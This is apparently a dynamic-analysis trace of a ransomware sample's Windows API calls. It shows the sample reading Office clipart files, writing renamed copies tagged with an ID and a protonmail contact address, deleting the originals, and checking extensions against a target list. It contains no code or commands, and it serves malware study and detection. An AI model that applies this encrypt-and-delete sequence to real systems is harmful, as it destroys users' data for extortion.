	[0208.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220
	[0208.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0208.279] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.279] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0208.280] GetLastError () returned 0x0
	[0208.280] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x4f4, lpOverlapped=0x0) returned 1
	[0208.281] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x500, lpOverlapped=0x0) returned 1
	[0208.598] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.598] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.598] SetEndOfFile (hFile=0x378) returned 1
	[0208.598] CloseHandle (hObject=0x378) returned 1
	[0208.598] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.598] SetEndOfFile (hFile=0x374) returned 1
	[0208.599] CloseHandle (hObject=0x374) returned 1
	[0208.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) 

Thread:
	id = 93
	os_tid = 0xf8c

	[0205.073] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x610728
	[0205.073] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x620730
	[0205.073] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df278
	[0205.073] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5ec6e0
	[0205.073] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df1b8
	[0205.073] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x3b58020
	[0205.076] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df218
	[0205.076] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df218, Size=0x20) returned 0x59e0b8
	[0205.076] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df2d8
	[0205.076] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df2d8, Size=0x20) returned 0x59e180
	[0205.076] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.076] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.076] Wow64DisableWow64FsRedirection (in: OldValue=0x303ff50 | out: OldValue=0x303ff50*=0x0) returned 1
	[0205.076] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.076] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e0b8 | out: hHeap=0x560000) returned 1
	[0205.076] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.076] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e180 | out: hHeap=0x560000) returned 1
	[0205.077] Sleep (dwMilliseconds=0x64) 
	[0205.307] Sleep (dwMilliseconds=0x64) 
	[0205.568] Sleep (dwMilliseconds=0x64) 
	[0205.949] Sleep (dwMilliseconds=0x64) 
	[0206.637] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.637] lstrlenW (lpString="FD00564_.WMF") returned 12
	[0206.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0206.638] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=896) returned 1
	[0206.638] CloseHandle (hObject=0x38c) returned 1
	[0206.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220
	[0206.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0206.638] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.638] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0206.639] GetLastError () returned 0x0
	[0206.640] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x380, lpOverlapped=0x0) returned 1
	[0206.655] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x390, lpOverlapped=0x0) returned 1
	[0206.657] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.657] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.657] SetEndOfFile (hFile=0x390) returned 1
	[0206.657] CloseHandle (hObject=0x390) returned 1
	[0206.657] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.657] SetEndOfFile (hFile=0x38c) returned 1
	[0206.658] CloseHandle (hObject=0x38c) returned 1
	[0206.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0206.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1
	[0206.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.659] lstrlenW (lpString=".doc") returned 4
	[0206.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.659] lstrlenW (lpString=".docx") returned 5
	[0206.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.659] lstrlenW (lpString=".pdf") returned 4
	[0206.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.659] lstrlenW (lpString=".xls") returned 4
	[0206.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.660] lstrlenW (lpString=".xlsx") returned 5
	[0206.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.660] lstrlenW (lpString=".ppt") returned 4
	[0206.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.660] lstrlenW (lpString=".zip") returned 4
	[0206.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.660] lstrlenW (lpString=".rar") returned 4
	[0206.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.660] lstrlenW (lpString=".bz2") returned 4
	[0206.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.660] lstrlenW (lpString=".7z") returned 3
	[0206.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.660] lstrlenW (lpString=".dbf") returned 4
	[0206.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.660] lstrlenW (lpString=".1cd") returned 4
	[0206.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.660] lstrlenW (lpString=".jpg") returned 4
	[0206.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.660] lstrlenW (lpString=".doc") returned 4
	[0206.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.660] lstrlenW (lpString=".docx") returned 5
	[0206.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.660] lstrlenW (lpString=".pdf") returned 4
	[0206.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.660] lstrlenW (lpString=".xls") returned 4
	[0206.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.661] lstrlenW (lpString=".xlsx") returned 5
	[0206.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.661] lstrlenW (lpString=".ppt") returned 4
	[0206.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.661] lstrlenW (lpString=".zip") returned 4
	[0206.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.661] lstrlenW (lpString=".rar") returned 4
	[0206.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.661] lstrlenW (lpString=".bz2") returned 4
	[0206.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.661] lstrlenW (lpString=".7z") returned 3
	[0206.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.661] lstrlenW (lpString=".dbf") returned 4
	[0206.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.661] lstrlenW (lpString=".1cd") returned 4
	[0206.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0206.661] lstrlenW (lpString=".jpg") returned 4
	[0206.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.661] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.661] lstrlenW (lpString="FD00586_.WMF") returned 12
	[0206.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0206.662] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=752) returned 1
	[0206.662] CloseHandle (hObject=0x38c) returned 1
	[0206.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220
	[0206.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0206.662] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.663] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0206.663] GetLastError () returned 0x0
	[0206.664] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x2f0, lpOverlapped=0x0) returned 1
	[0206.665] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x300, lpOverlapped=0x0) returned 1
	[0206.666] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.666] WriteFile (in: hFile=0x390, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.666] SetEndOfFile (hFile=0x390) returned 1
	[0206.666] CloseHandle (hObject=0x390) returned 1
	[0206.666] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.666] SetEndOfFile (hFile=0x38c) returned 1
	[0206.667] CloseHandle (hObject=0x38c) returned 1
	[0206.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0206.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1
	[0206.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.668] lstrlenW (lpString=".doc") returned 4
	[0206.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.668] lstrlenW (lpString=".docx") returned 5
	[0206.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.668] lstrlenW (lpString=".pdf") returned 4
	[0206.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.668] lstrlenW (lpString=".xls") returned 4
	[0206.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.668] lstrlenW (lpString=".xlsx") returned 5
	[0206.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.668] lstrlenW (lpString=".ppt") returned 4
	[0206.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.668] lstrlenW (lpString=".zip") returned 4
	[0206.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.668] lstrlenW (lpString=".rar") returned 4
	[0206.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.668] lstrlenW (lpString=".bz2") returned 4
	[0206.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.668] lstrlenW (lpString=".7z") returned 3
	[0206.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.668] lstrlenW (lpString=".dbf") returned 4
	[0206.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.668] lstrlenW (lpString=".1cd") returned 4
	[0206.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.669] lstrlenW (lpString=".jpg") returned 4
	[0206.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.669] lstrlenW (lpString=".doc") returned 4
	[0206.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.669] lstrlenW (lpString=".docx") returned 5
	[0206.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.669] lstrlenW (lpString=".pdf") returned 4
	[0206.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.669] lstrlenW (lpString=".xls") returned 4
	[0206.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.669] lstrlenW (lpString=".xlsx") returned 5
	[0206.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.669] lstrlenW (lpString=".ppt") returned 4
	[0206.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.669] lstrlenW (lpString=".zip") returned 4
	[0206.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.669] lstrlenW (lpString=".rar") returned 4
	[0206.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.669] lstrlenW (lpString=".bz2") returned 4
	[0206.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.669] lstrlenW (lpString=".7z") returned 3
	[0206.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.669] lstrlenW (lpString=".dbf") returned 4
	[0206.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.669] lstrlenW (lpString=".1cd") returned 4
	[0206.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0206.670] lstrlenW (lpString=".jpg") returned 4
	[0206.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.670] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.670] lstrlenW (lpString="FD00775_.WMF") returned 12
	[0206.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.077] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=11152) returned 1
	[0207.077] CloseHandle (hObject=0x38c) returned 1
	[0207.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220
	[0207.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.078] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.078] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.078] GetLastError () returned 0x0
	[0207.078] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x2b90, lpOverlapped=0x0) returned 1
	[0207.081] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0207.082] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.082] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.083] SetEndOfFile (hFile=0x350) returned 1
